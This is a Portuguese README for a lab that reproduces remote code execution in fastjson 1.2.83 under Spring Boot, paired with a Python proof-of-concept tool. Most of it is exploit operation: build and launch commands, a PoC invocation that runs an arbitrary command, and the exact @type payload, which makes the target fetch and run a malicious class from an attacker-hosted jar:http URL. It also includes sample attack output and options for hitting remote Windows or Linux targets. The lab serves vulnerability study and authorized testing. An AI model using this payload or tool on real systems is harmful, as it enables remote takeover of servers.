
Laboratório reproduzível de RCE com Spring Boot + fastjson 1.2.83, com um PoC em Python que gera e hospeda um JAR malicioso e entrega o payload @type.
Este é um ambiente mínimo de reprodução executável: Spring Boot 2.7.18 fat-jar executável + fastjson 1.2.83, acompanhado de um PoC em Python puro que gera uma classe maliciosa com nome de classe no formato jar: URL, hospeda o JAR, imprime o payload @type e o envia automaticamente.
Apenas para testes autorizados: este projeto executa comandos arbitrários e fornece um JAR malicioso externamente. Use apenas para experimentos locais, CTF, ensino ou testes de segurança explicitamente autorizados; não o utilize contra sistemas não autorizados. Interrompa imediatamente a aplicação e o serviço do PoC após concluir os testes.
1.2.68 <= fastjson <= 1.2.83; corrigido em 1.2.84.java -jar xxx.jar), e a thread de parsing consegue usar o LaunchedURLClassLoader do Boot. AutoType e SafeMode permanecem desativados por padrão.ParserConfig#checkAutoType, com o AutoType desativado, ainda concatena o @type controlado pelo atacante em um caminho de recurso e chama getResourceAsStream para sondagem; uma classe remota, desde que tenha @JSONType, é tratada como tipo confiável e continua para loadClass.TypeUtils#loadClass define, por meio do class loader do Boot, um nome de classe no formato jar:http://...; o EnumDeserializer, ao ser construído, chama getEnumConstants(), executa o <clinit> do enum malicioso e, por fim, executa comandos arbitrários com as permissões do processo da aplicação.<workspace>/
├── CVE-2026-16723-fastjson1.2.83/ # 漏洞环境(本目录)
│ ├── README.md # 本文件
│ ├── .gitignore # 忽略构建/运行产物
│ ├── pom.xml # 聚合 POM(仅 vuln-app)
│ ├── vuln-app/ # Spring Boot 2.7.18 + fastjson 1.2.83
└── CVE-2026-16723-fastjson1.2.83-poc/
├── .gitignore # 忽略 Python/PoC 产物
└── poc.py # 纯 Python PoC,仅标准库
| Item | Requisito |
|---|---|
| JDK | 8 (verificado; use java -jar para iniciar o fat-jar) |
| Maven | 3.6+ (verificado 3.9) |
| Python | 3.8+ (verificado 3.11, apenas biblioteca padrão) |
| Sistema operacional | Windows ou Linux; PoC usa cmd por padrão, para alvos Linux adicione --shell sh |
| Portas | 8090 aplicação, 19090 serviço HTTP do PoC, 5005 JDWP |
| Rede | O alvo deve conseguir acessar --host:--port; para reprodução local use 127.0.0.1 |
Ambiente testado deste README: Windows 10 x64, Oracle JDK 1.8.0_503, Apache Maven 3.9.16, Python 3.11. Para alvos Linux use --shell sh.
Recomenda-se executar em uma máquina virtual ou host de teste isolado. Versões mais recentes do JDK, executar a classe principal diretamente na IDE ou mvn spring-boot:run podem alterar o comportamento de carregamento de classes, fazendo com que o payload não funcione.
Execute no diretório do ambiente vulnerável:
mvn -DskipTests clean package
java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar vuln-app\target\fastjson-demo.jar
Quando a depuração remota não for necessária, remova o parâmetro -agentlib:jdwp=...:
É obrigatório iniciar este fat-jar com
java -jar. Executar a classe principal diretamente na IDE ou usarspring-boot:runnormalmente utiliza oAppClassLoader, que pode não conseguir definir nomes de classe no formato de URLjar:, resultando em apenas sondagem remota visível e nenhuma execução de<clinit>.
Abra outro terminal:
curl.exe -s http://127.0.0.1:8090/api/info
A resposta deve conter pelo menos:
{
"fastjson_version": "1.2.83",
"auto_type_support": false,
"safe_mode": false,
"fastjson_location": "jar:file:/.../fastjson-demo.jar!/BOOT-INF/lib/fastjson-1.2.83.jar!/"
}
Entre no diretório PoC do mesmo nível:
cd ..\CVE-2026-16723-fastjson1.2.83-poc
python poc.py --host 127.0.0.1 --command "whoami > poc_result.txt" --target http://127.0.0.1:8090/api/parse-boot-loader
--host é o IP do atacante acessível pelo alvo (endereço de hospedagem da classe maliciosa). Para reprodução local, preencha 127.0.0.1; para alvos remotos, é obrigatório preencher um endereço acessível pelo alvo. IPv4 com pontos é automaticamente convertido para decimal e escrito na URL jar:. Quando --target é omitido, o PoC apenas imprime o payload e mantém a hospedagem, adequado para envio manual.
É obrigatório usar
/api/parse-boot-loader(ou/api/login-boot-loader) como ponto de entrada. Ele define o TCCL da thread de parsing como oLaunchedURLClassLoaderdo Boot; a thread de requisição do Tomcat padrão em/api/parsegeralmente apenas dispara sondagem remota, não define o nome da classe URL e, portanto, não executa<clinit>. Isso não significa que a vulnerabilidade não existe, mas sim que é o pré-requisito de classloader desta reprodução.
A saída do PoC é semelhante a:
[*] attacker host : 127.0.0.1 -> 2130706433
[*] class : jar:http://2130706433:19090/poc7f5be8!/Poc1a2b3c4d
[*] payload : {"@type":"jar:http:..2130706433:19090.poc7f5be8!.Poc1a2b3c4d"}
[*] command : whoami > poc_result.txt (cmd.exe /c)
[*] serving : http://2130706433:19090/poc7f5be8 (entry Poc1a2b3c4d.class)
[*] POST : http://127.0.0.1:8090/api/parse-boot-loader
[*] response : 500 {"error":"com.alibaba.fastjson.JSONException","message":"create instance error",...}
[*] success marks : target log 'POC_EXECUTED:Poc1a2b3c4d', command effect, server GET /poc7f5be8
Ao mesmo tempo, deve-se observar:
GET /poc<hex> (pelo menos 1 vez, comumente 2 vezes);create instance error. Este é o erro esperado causado pela ausência de um construtor sem parâmetros no enum após a execução de <clinit>, não representa falha na exploração;whoami.| Parâmetro | Descrição |
|---|---|
--host | IP/nome do host que hospeda a classe maliciosa (padrão 127.0.0.1); IPv4 com pontos é convertido automaticamente para decimal; o nome do host não pode conter . |
--port | Porta do serviço HTTP do PoC (padrão 19090) |
--bind | Endereço de bind do HTTP (padrão 0.0.0.0) |
--command / -c | Obrigatório, o comando a ser executado no alvo |
--shell | cmd (cmd.exe /c, padrão) ou sh (/bin/sh -c) |
--target | Opcional, URL completa para POST automático, por exemplo http://127.0.0.1:8090/api/parse-boot-loader |
--body | Opcional, template do corpo da requisição; {{payload}} será substituído pelo payload JSON gerado |
--path | Opcional, caminho da URL do JAR; padrão aleatório /poc<hex>, não pode conter . ou ! |
--class-name | Opcional, nome da classe; padrão aleatório Poc<hex>, deve ser um identificador Java válido |
--timeout | Tempo limite HTTP do alvo em segundos (padrão 20) |
--serve-after | Segundos de hospedagem contínua após o envio automático (padrão 5) |
--save | Salva o .class gerado e o poc.jar no diretório especificado |